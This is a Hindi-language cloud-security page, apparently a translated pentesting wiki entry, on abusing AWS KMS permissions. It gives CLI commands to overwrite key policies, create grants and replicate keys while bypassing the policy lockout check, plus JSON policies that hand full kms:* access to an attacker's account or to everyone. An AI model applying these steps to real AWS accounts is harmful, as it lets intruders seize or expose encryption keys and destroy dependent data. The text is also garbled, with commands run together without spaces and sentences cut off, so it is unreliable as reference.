इन अनुमतियों के साथ, कुंजी के एक्सेस अनुमतियों को संशोधित करना संभव है ताकि इसे अन्य खातों या यहां तक कि किसी के द्वारा भी उपयोग किया जा सके:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
## KMS CreateKeyयदि आपके पास `kms:CreateKey` अनुमति है, तो आप एक नया KMS कुंजी बना सकते हैं और उस पर पूर्ण नियंत्रण प्राप्त कर सकते हैं। यह आपको अन्य संसाधनों पर हमला करने के लिए इस कुंजी का उपयोग करने की अनुमति देता है।
## KMS PutKeyPolicy`kms:PutKeyPolicy` अनुमति के साथ, आप किसी मौजूदा कुंजी की नीति को बदल सकते हैं और अपने आप को या किसी अन्य उपयोगकर्ता को उस कुंजी पर पूर्ण नियंत्रण दे सकते हैं।
## KMS ScheduleKeyDeletion`kms:ScheduleKeyDeletion` अनुमति के साथ, आप किसी कुंजी को हटाने के लिए शेड्यूल कर सकते हैं। यह महत्वपूर्ण डेटा को नष्ट कर सकता है और सेवाओं को बाधित कर सकता है जो उस कुंजी पर निर्भर हैं।
## KMS ListKeys`kms:ListKeys` अनुमति के साथ, आप खाते में सभी कुंजियों की सूची प्राप्त कर सकते हैं। यह जानकारी आपको अन्य कुंजियों पर हमले की योजना बनाने में मदद कर सकती है।
## KMS ListAliases`kms:ListAliases` अनुमति के साथ, आप खाते में सभी कुंजियों के उपनामों की सूची प्राप्त कर सकते हैं। यह जानकारी आपको कुंजियों की पहचान करने और उन पर हमले की योजना बनाने में मदद कर सकती है।
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
kms:CreateGrant
यह किसी प्रिंसिपल को KMS कुंजी का उपयोग करने की अनुमति देता है:
ध्यान दें कि ग्रांट जनरेट होने के बाद KMS को यूजर को की का उपयोग करने की अनुमति देने में कुछ मिनट लग सकते हैं। एक बार वह समय बीत जाने के बाद, प्रिंसिपल KMS की का उपयोग बिना कुछ निर्दिष्ट किए कर सकता है।
हालांकि, यदि ग्रांट का तुरंत उपयोग करना आवश्यक है तो ग्रांट टोकन का उपयोग करें (निम्नलिखित कोड देखें)।
अधिक जानकारी के लिए इसे पढ़ें।
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
ध्यान दें कि keys के grant को list करना संभव है:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
इन अनुमतियों के साथ, एक अलग क्षेत्र में एक बहु-क्षेत्र सक्षम KMS कुंजी को एक अलग नीति के साथ प्रतिलिपि बनाना संभव है।
इसलिए, एक हमलावर इसका दुरुपयोग करके कुंजी तक अपनी पहुंच प्राप्त कर सकता है और इसका उपयोग कर सकता है
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
यह अनुमति किसी कुंजी का उपयोग करके कुछ जानकारी को डिक्रिप्ट करने की अनुमति देती है।
अधिक जानकारी के लिए देखें: